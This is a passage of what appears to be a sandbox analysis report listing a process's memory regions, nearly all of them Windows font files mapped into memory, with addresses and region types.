"c:\\windows\\fonts\\aparajbi.ttf") Region: id = 643 start_va = 0x710000 end_va = 0x74afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaji.ttf" filename = "\\Windows\\Fonts\\aparaji.ttf" (normalized: "c:\\windows\\fonts\\aparaji.ttf") Region: id = 644 start_va = 0x710000 end_va = 0x74afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaji.ttf" filename = "\\Windows\\Fonts\\aparaji.ttf" (normalized: "c:\\windows\\fonts\\aparaji.ttf") Region: id = 645 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordia.ttf" filename = "\\Windows\\Fonts\\cordia.ttf" (normalized: "c:\\windows\\fonts\\cordia.ttf") Region: id = 646 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordia.ttf" filename = "\\Windows\\Fonts\\cordia.ttf" (normalized: "c:\\windows\\fonts\\cordia.ttf") Region: id = 647 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiai.ttf" filename = "\\Windows\\Fonts\\cordiai.ttf" (normalized: "c:\\windows\\fonts\\cordiai.ttf") Region: id = 648 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiai.ttf" filename = "\\Windows\\Fonts\\cordiai.ttf" (normalized: "c:\\windows\\fonts\\cordiai.ttf") Region: id = 649 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiab.ttf" filename = "\\Windows\\Fonts\\cordiab.ttf" (normalized: "c:\\windows\\fonts\\cordiab.ttf") Region: id = 650 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiab.ttf" filename = "\\Windows\\Fonts\\cordiab.ttf" (normalized: "c:\\windows\\fonts\\cordiab.ttf") Region: id = 651 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaz.ttf" filename = "\\Windows\\Fonts\\cordiaz.ttf" (normalized: "c:\\windows\\fonts\\cordiaz.ttf") Region: id = 652 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaz.ttf" filename = "\\Windows\\Fonts\\cordiaz.ttf" (normalized: "c:\\windows\\fonts\\cordiaz.ttf") Region: id = 653 start_va = 0xa80000 end_va = 0xacafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrima.ttf" filename = "\\Windows\\Fonts\\ebrima.ttf" (normalized: "c:\\windows\\fonts\\ebrima.ttf") Region: id = 654 start_va = 0xa80000 end_va = 0xacafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrima.ttf" filename = "\\Windows\\Fonts\\ebrima.ttf" (normalized: "c:\\windows\\fonts\\ebrima.ttf") Region: id = 655 start_va = 0xa80000 end_va = 0xac8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrimabd.ttf" filename = "\\Windows\\Fonts\\ebrimabd.ttf" (normalized: "c:\\windows\\fonts\\ebrimabd.ttf") Region: id = 656 start_va = 0xa80000 end_va = 0xac8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrimabd.ttf" filename = "\\Windows\\Fonts\\ebrimabd.ttf" (normalized: "c:\\windows\\fonts\\ebrimabd.ttf") Region: id = 657 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gisha.ttf" filename = "\\Windows\\Fonts\\gisha.ttf" (normalized: "c:\\windows\\fonts\\gisha.ttf") Region: id = 658 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gisha.ttf" filename = "\\Windows\\Fonts\\gisha.ttf" (normalized: "c:\\windows\\fonts\\gisha.ttf") Region: id = 659 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gishabd.ttf" filename = "\\Windows\\Fonts\\gishabd.ttf" (normalized: "c:\\windows\\fonts\\gishabd.ttf") Region: id = 660 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gishabd.ttf" filename = "\\Windows\\Fonts\\gishabd.ttf" (normalized: "c:\\windows\\fonts\\gishabd.ttf") Region: id = 661 start_va = 0x710000 end_va = 0x741fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokila.ttf" filename = "\\Windows\\Fonts\\kokila.ttf" (normalized: "c:\\windows\\fonts\\kokila.ttf") Region: id = 662 start_va = 0x710000 end_va = 0x741fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokila.ttf" filename = "\\Windows\\Fonts\\kokila.ttf" (normalized: "c:\\windows\\fonts\\kokila.ttf") Region: id = 663 start_va = 0x710000 end_va = 0x741fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilab.ttf" filename = "\\Windows\\Fonts\\kokilab.ttf" (normalized: "c:\\windows\\fonts\\kokilab.ttf") Region: id = 664 start_va = 0x710000 end_va = 0x741fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilab.ttf" filename = "\\Windows\\Fonts\\kokilab.ttf" (normalized: "c:\\windows\\fonts\\kokilab.ttf") Region: id = 665 start_va = 0x710000 end_va = 0x749fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilabi.ttf" filename = "\\Windows\\Fonts\\kokilabi.ttf" (normalized: "c:\\windows\\fonts\\kokilabi.ttf") Region: id = 666 start_va = 0x710000 end_va = 0x749fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilabi.ttf" filename = "\\Windows\\Fonts\\kokilabi.ttf" (normalized: "c:\\windows\\fonts\\kokilabi.ttf") Region: id = 667 start_va = 0x710000 end_va = 0x74bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilai.ttf" filename = "\\Windows\\Fonts\\kokilai.ttf" (normalized: "c:\\windows\\fonts\\kokilai.ttf") Region: id = 668 start_va = 0x710000 end_va = 0x74bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilai.ttf" filename = "\\Windows\\Fonts\\kokilai.ttf" (normalized: "c:\\windows\\fonts\\kokilai.ttf") Region: id = 669 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawad.ttf" filename = "\\Windows\\Fonts\\leelawad.ttf" (normalized: "c:\\windows\\fonts\\leelawad.ttf") Region: id = 670 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawad.ttf" filename = "\\Windows\\Fonts\\leelawad.ttf" (normalized: "c:\\windows\\fonts\\leelawad.ttf") Region: id = 671 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawdb.ttf" filename = "\\Windows\\Fonts\\leelawdb.ttf" (normalized: "c:\\windows\\fonts\\leelawdb.ttf") Region: id = 672 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawdb.ttf" filename = "\\Windows\\Fonts\\leelawdb.ttf" (normalized: "c:\\windows\\fonts\\leelawdb.ttf") Region: id = 673 start_va = 0x710000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighur.ttf" filename = "\\Windows\\Fonts\\msuighur.ttf" (normalized: "c:\\windows\\fonts\\msuighur.ttf") Region: id = 674 start_va = 0x710000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighur.ttf" filename = "\\Windows\\Fonts\\msuighur.ttf" (normalized: "c:\\windows\\fonts\\msuighur.ttf") Region: id = 675 start_va = 0x1290000 end_va = 0x12e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "moolbor.ttf" filename = "\\Windows\\Fonts\\moolbor.ttf" (normalized: "c:\\windows\\fonts\\moolbor.ttf") Region: id = 676 start_va = 0x1290000 end_va = 0x12e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "moolbor.ttf" filename = "\\Windows\\Fonts\\moolbor.ttf" (normalized: "c:\\windows\\fonts\\moolbor.ttf") Region: id = 677 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "symbol.ttf" filename = "\\Windows\\Fonts\\symbol.ttf" (normalized: "c:\\windows\\fonts\\symbol.ttf") Region: id = 678 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "symbol.ttf" filename = "\\Windows\\Fonts\\symbol.ttf" (normalized: "c:\\windows\\fonts\\symbol.ttf") Region: id = 679 start_va = 0x710000 end_va = 0x744fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaah.ttf" filename = "\\Windows\\Fonts\\utsaah.ttf" (normalized: "c:\\windows\\fonts\\utsaah.ttf") Region: id = 680 start_va = 0x710000 end_va = 0x744fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaah.ttf" filename = "\\Windows\\Fonts\\utsaah.ttf" (normalized: "c:\\windows\\fonts\\utsaah.ttf") Region: id = 681 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahb.ttf" filename = "\\Windows\\Fonts\\utsaahb.ttf" (normalized: "c:\\windows\\fonts\\utsaahb.ttf") Region: id = 682 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahb.ttf" filename = "\\Windows\\Fonts\\utsaahb.ttf" (normalized: "c:\\windows\\fonts\\utsaahb.ttf") Region: id = 683 start_va = 0x710000 end_va = 0x745fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahbi.ttf" filename = "\\Windows\\Fonts\\utsaahbi.ttf" (normalized: "c:\\windows\\fonts\\utsaahbi.ttf") Region: id = 684 start_va = 0x710000 end_va = 0x745fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahbi.ttf" filename = "\\Windows\\Fonts\\utsaahbi.ttf" (normalized: "c:\\windows\\fonts\\utsaahbi.ttf") Region: id = 685 start_va = 0x710000 end_va = 0x74afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahi.ttf" filename = "\\Windows\\Fonts\\utsaahi.ttf" (normalized: "c:\\windows\\fonts\\utsaahi.ttf") Region: id = 686 start_va = 0x710000 end_va = 0x74afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahi.ttf" filename = "\\Windows\\Fonts\\utsaahi.ttf" (normalized: "c:\\windows\\fonts\\utsaahi.ttf") Region: id = 687 start_va = 0x710000 end_va = 0x739fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijaya.ttf" filename = "\\Windows\\Fonts\\vijaya.ttf" (normalized: "c:\\windows\\fonts\\vijaya.ttf") Region: id = 688 start_va = 0x710000 end_va = 0x739fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijaya.ttf" filename = "\\Windows\\Fonts\\vijaya.ttf" (normalized: "c:\\windows\\fonts\\vijaya.ttf") Region: id = 689 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijayab.ttf" filename = "\\Windows\\Fonts\\vijayab.ttf" (normalized: "c:\\windows\\fonts\\vijayab.ttf") Region: id = 690 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijayab.ttf" filename = "\\Windows\\Fonts\\vijayab.ttf" (normalized: "c:\\windows\\fonts\\vijayab.ttf") Region: id = 691 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingding.ttf" filename = "\\Windows\\Fonts\\wingding.ttf" (normalized: "c:\\windows\\fonts\\wingding.ttf") Region: id = 692 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingding.ttf" filename = "\\Windows\\Fonts\\wingding.ttf" (normalized: "c:\\windows\\fonts\\wingding.ttf") Region: id = 693 start_va = 0x450000 end_va = 0x452fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "modern.fon" filename = "\\Windows\\Fonts\\modern.fon" (normalized: "c:\\windows\\fonts\\modern.fon") Region: id = 694 start_va = 0x450000 end_va = 0x453fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roman.fon" filename = "\\Windows\\Fonts\\roman.fon" (normalized: "c:\\windows\\fonts\\roman.fon") Region: id = 695 start_va = 0x450000 end_va = 0x452fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "script.fon" filename = "\\Windows\\Fonts\\script.fon" (normalized: "c:\\windows\\fonts\\script.fon") Region: id = 696 start_va = 0x710000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "andlso.ttf" filename = "\\Windows\\Fonts\\andlso.ttf" (normalized: "c:\\windows\\fonts\\andlso.ttf") Region: id = 697 start_va = 0x710000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "andlso.ttf" filename = "\\Windows\\Fonts\\andlso.ttf" (normalized: "c:\\windows\\fonts\\andlso.ttf") Region: id = 698 start_va = 0x1290000 end_va = 0x1328fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arabtype.ttf" filename = "\\Windows\\Fonts\\arabtype.ttf" (normalized: "c:\\windows\\fonts\\arabtype.ttf") Region: id = 699 start_va = 0x1290000 end_va = 0x1328fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arabtype.ttf" filename = "\\Windows\\Fonts\\arabtype.ttf" (normalized: "c:\\windows\\fonts\\arabtype.ttf") Region: id = 700 start_va = 0x450000 end_va = 0x46efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpo.ttf" filename = "\\Windows\\Fonts\\simpo.ttf" (normalized: "c:\\windows\\fonts\\simpo.ttf") Region: id = 701 start_va = 0x450000 end_va = 0x46efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpo.ttf" filename = "\\Windows\\Fonts\\simpo.ttf" (normalized: "c:\\windows\\fonts\\simpo.ttf") Region: id = 702 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpbdo.ttf" filename = "\\Windows\\Fonts\\simpbdo.ttf" (normalized: "c:\\windows\\fonts\\simpbdo.ttf") Region: id = 703 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpbdo.ttf" filename = "\\Windows\\Fonts\\simpbdo.ttf" (normalized: "c:\\windows\\fonts\\simpbdo.ttf") Region: id = 704 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpfxo.ttf" filename = "\\Windows\\Fonts\\simpfxo.ttf" (normalized: "c:\\windows\\fonts\\simpfxo.ttf") Region: id = 705 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpfxo.ttf" filename = "\\Windows\\Fonts\\simpfxo.ttf" (normalized: "c:\\windows\\fonts\\simpfxo.ttf") Region: id = 706 start_va = 0x1290000 end_va = 0x12eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majalla.ttf" filename = "\\Windows\\Fonts\\majalla.ttf" (normalized: "c:\\windows\\fonts\\majalla.ttf") Region: id = 707 start_va = 0x1290000 end_va = 0x12eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majalla.ttf" filename = "\\Windows\\Fonts\\majalla.ttf" (normalized: "c:\\windows\\fonts\\majalla.ttf") Region: id = 708 start_va = 0x1290000 end_va = 0x12ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majallab.ttf" filename = "\\Windows\\Fonts\\majallab.ttf" (normalized: "c:\\windows\\fonts\\majallab.ttf") Region: id = 709 start_va = 0x1290000 end_va = 0x12ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majallab.ttf" filename = "\\Windows\\Fonts\\majallab.ttf" (normalized: "c:\\windows\\fonts\\majallab.ttf") Region: id = 710 start_va = 0x710000 end_va = 0x73bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trado.ttf" filename = "\\Windows\\Fonts\\trado.ttf" (normalized: "c:\\windows\\fonts\\trado.ttf") Region: id = 711 start_va = 0x710000 end_va = 0x73bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trado.ttf" filename = "\\Windows\\Fonts\\trado.ttf" (normalized: "c:\\windows\\fonts\\trado.ttf") Region: id = 712 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tradbdo.ttf" filename = "\\Windows\\Fonts\\tradbdo.ttf" (normalized: "c:\\windows\\fonts\\tradbdo.ttf") Region: id = 713 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tradbdo.ttf" filename = "\\Windows\\Fonts\\tradbdo.ttf" (normalized: "c:\\windows\\fonts\\tradbdo.ttf") Region: id = 714 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ahronbd.ttf" filename = "\\Windows\\Fonts\\ahronbd.ttf" (normalized: "c:\\windows\\fonts\\ahronbd.ttf") Region: id = 715 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ahronbd.ttf" filename = "\\Windows\\Fonts\\ahronbd.ttf" (normalized: "c:\\windows\\fonts\\ahronbd.ttf") Region: id = 716 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "david.ttf" filename = "\\Windows\\Fonts\\david.ttf" (normalized: "c:\\windows\\fonts\\david.ttf") Region: id = 717 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "david.ttf" filename = "\\Windows\\Fonts\\david.ttf" (normalized: "c:\\windows\\fonts\\david.ttf") Region: id = 718 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "davidbd.ttf" filename = "\\Windows\\Fonts\\davidbd.ttf" (normalized: "c:\\windows\\fonts\\davidbd.ttf") Region: id = 719 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "davidbd.ttf" filename = "\\Windows\\Fonts\\davidbd.ttf" (normalized: "c:\\windows\\fonts\\davidbd.ttf") Region: id = 720 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frank.ttf" filename = "\\Windows\\Fonts\\frank.ttf" (normalized: "c:\\windows\\fonts\\frank.ttf") Region: id = 721 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frank.ttf" filename = "\\Windows\\Fonts\\frank.ttf" (normalized: "c:\\windows\\fonts\\frank.ttf") Region: id = 722 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnm.ttf" filename = "\\Windows\\Fonts\\lvnm.ttf" (normalized: "c:\\windows\\fonts\\lvnm.ttf") Region: id = 723 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnm.ttf" filename = "\\Windows\\Fonts\\lvnm.ttf" (normalized: "c:\\windows\\fonts\\lvnm.ttf") Region: id = 724 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnmbd.ttf" filename = "\\Windows\\Fonts\\lvnmbd.ttf" (normalized: "c:\\windows\\fonts\\lvnmbd.ttf") Region: id = 725 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnmbd.ttf" filename = "\\Windows\\Fonts\\lvnmbd.ttf" (normalized: "c:\\windows\\fonts\\lvnmbd.ttf") Region: id = 726 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriam.ttf" filename = "\\Windows\\Fonts\\mriam.ttf" (normalized: "c:\\windows\\fonts\\mriam.ttf") Region: id = 727 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriam.ttf" filename = "\\Windows\\Fonts\\mriam.ttf" (normalized: "c:\\windows\\fonts\\mriam.ttf") Region: id = 728 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriamc.ttf" filename = "\\Windows\\Fonts\\mriamc.ttf" (normalized: "c:\\windows\\fonts\\mriamc.ttf") Region: id = 729 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriamc.ttf" filename = "\\Windows\\Fonts\\mriamc.ttf" (normalized: "c:\\windows\\fonts\\mriamc.ttf") Region: id = 730 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nrkis.ttf" filename = "\\Windows\\Fonts\\nrkis.ttf" (normalized: "c:\\windows\\fonts\\nrkis.ttf") Region: id = 731 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nrkis.ttf" filename = "\\Windows\\Fonts\\nrkis.ttf" (normalized: "c:\\windows\\fonts\\nrkis.ttf") Region: id = 732 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rod.ttf" filename = "\\Windows\\Fonts\\rod.ttf" (normalized: "c:\\windows\\fonts\\rod.ttf") Region: id = 733 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rod.ttf" filename = "\\Windows\\Fonts\\rod.ttf" (normalized: "c:\\windows\\fonts\\rod.ttf") Region: id = 734 start_va = 0x5c00000 end_va = 0x6616fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simfang.ttf" filename = "\\Windows\\Fonts\\simfang.ttf" (normalized: "c:\\windows\\fonts\\simfang.ttf") Region: id = 735 start_va = 0x5c00000 end_va = 0x6616fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simfang.ttf" filename = "\\Windows\\Fonts\\simfang.ttf" (normalized: "c:\\windows\\fonts\\simfang.ttf") Region: id = 736 start_va = 0x5c00000 end_va = 0x654cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simhei.ttf" filename = "\\Windows\\Fonts\\simhei.ttf" (normalized: "c:\\windows\\fonts\\simhei.ttf") Region: id = 737 start_va = 0x5c00000 end_va = 0x654cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simhei.ttf" filename = "\\Windows\\Fonts\\simhei.ttf" (normalized: "c:\\windows\\fonts\\simhei.ttf") Region: id = 738 start_va = 0x7990000 end_va = 0x895ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007990000" filename = "" Region: id = 739 start_va = 0x5c00000 end_va = 0x673dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simkai.ttf" filename = "\\Windows\\Fonts\\simkai.ttf" (normalized: "c:\\windows\\fonts\\simkai.ttf") Region: id = 740 start_va = 0x5c00000 end_va = 0x673dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simkai.ttf" filename = "\\Windows\\Fonts\\simkai.ttf" (normalized: "c:\\windows\\fonts\\simkai.ttf") Region: id = 741 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsau.ttf" filename = "\\Windows\\Fonts\\angsau.ttf" (normalized: "c:\\windows\\fonts\\angsau.ttf") Region: id = 742 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsau.ttf" filename = "\\Windows\\Fonts\\angsau.ttf" (normalized: "c:\\windows\\fonts\\angsau.ttf") Region: id = 743 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaui.ttf" filename = "\\Windows\\Fonts\\angsaui.ttf" (normalized: "c:\\windows\\fonts\\angsaui.ttf") Region: id = 744 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaui.ttf" filename = "\\Windows\\Fonts\\angsaui.ttf" (normalized: "c:\\windows\\fonts\\angsaui.ttf") Region: id = 745 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaub.ttf" filename = "\\Windows\\Fonts\\angsaub.ttf" (normalized: "c:\\windows\\fonts\\angsaub.ttf") Region: id = 746 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaub.ttf" filename = "\\Windows\\Fonts\\angsaub.ttf" (normalized: "c:\\windows\\fonts\\angsaub.ttf") Region: id = 747 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsauz.ttf" filename = "\\Windows\\Fonts\\angsauz.ttf" (normalized: "c:\\windows\\fonts\\angsauz.ttf") Region: id = 748 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsauz.ttf" filename = "\\Windows\\Fonts\\angsauz.ttf" (normalized: "c:\\windows\\fonts\\angsauz.ttf") Region: id = 749 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browa.ttf" filename = "\\Windows\\Fonts\\browa.ttf" (normalized: "c:\\windows\\fonts\\browa.ttf") Region: id = 750 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browa.ttf" filename = "\\Windows\\Fonts\\browa.ttf" (normalized: "c:\\windows\\fonts\\browa.ttf") Region: id = 751 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browai.ttf" filename = "\\Windows\\Fonts\\browai.ttf" (normalized: "c:\\windows\\fonts\\browai.ttf") Region: id = 752 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browai.ttf" filename = "\\Windows\\Fonts\\browai.ttf" (normalized: "c:\\windows\\fonts\\browai.ttf") Region: id = 753 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browab.ttf" filename = "\\Windows\\Fonts\\browab.ttf" (normalized: "c:\\windows\\fonts\\browab.ttf") Region: id = 754 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browab.ttf" filename = "\\Windows\\Fonts\\browab.ttf" (normalized: "c:\\windows\\fonts\\browab.ttf") Region: id = 755 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaz.ttf" filename = "\\Windows\\Fonts\\browaz.ttf" (normalized: "c:\\windows\\fonts\\browaz.ttf") Region: id = 756 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaz.ttf" filename = "\\Windows\\Fonts\\browaz.ttf" (normalized: "c:\\windows\\fonts\\browaz.ttf") Region: id = 757 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browau.ttf" filename = "\\Windows\\Fonts\\browau.ttf" (normalized: "c:\\windows\\fonts\\browau.ttf") Region: id = 758 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browau.ttf" filename = "\\Windows\\Fonts\\browau.ttf" (normalized: "c:\\windows\\fonts\\browau.ttf") Region: id = 759 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaui.ttf" filename = "\\Windows\\Fonts\\browaui.ttf" (normalized: "c:\\windows\\fonts\\browaui.ttf") Region: id = 760 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaui.ttf" filename = "\\Windows\\Fonts\\browaui.ttf" (normalized: "c:\\windows\\fonts\\browaui.ttf") Region: id = 761 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaub.ttf" filename = "\\Windows\\Fonts\\browaub.ttf" (normalized: "c:\\windows\\fonts\\browaub.ttf") Region: id = 762 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaub.ttf" filename = "\\Windows\\Fonts\\browaub.ttf" (normalized: "c:\\windows\\fonts\\browaub.ttf") Region: id = 763 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browauz.ttf" filename = "\\Windows\\Fonts\\browauz.ttf" (normalized: "c:\\windows\\fonts\\browauz.ttf") Region: id = 764 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browauz.ttf" filename = "\\Windows\\Fonts\\browauz.ttf" (normalized: "c:\\windows\\fonts\\browauz.ttf") Region: id = 765 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiau.ttf" filename = "\\Windows\\Fonts\\cordiau.ttf" (normalized: "c:\\windows\\fonts\\cordiau.ttf") Region: id = 766 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiau.ttf" filename = "\\Windows\\Fonts\\cordiau.ttf" (normalized: "c:\\windows\\fonts\\cordiau.ttf") Region: id = 767 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaub.ttf" filename = "\\Windows\\Fonts\\cordiaub.ttf" (normalized: "c:\\windows\\fonts\\cordiaub.ttf") Region: id = 768 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaub.ttf" filename = "\\Windows\\Fonts\\cordiaub.ttf" (normalized: 